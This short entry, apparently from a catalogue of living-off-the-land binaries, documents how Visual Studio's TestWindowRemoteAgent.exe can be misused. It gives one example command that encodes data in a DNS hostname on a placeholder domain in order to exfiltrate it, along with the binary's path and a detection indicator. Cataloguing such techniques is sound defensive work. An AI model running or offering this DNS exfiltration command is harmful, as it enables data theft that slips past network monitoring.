TestWindowRemoteAgent.exe is the command-line tool to establish RPC
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
Sends DNS query for open connection to any host, enabling exfiltration over DNS
Attackers may utilize this to exfiltrate data over DNS
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe
IOC: TestWindowRemoteAgent.exe spawning unexpectedly
Onat Uzunyayla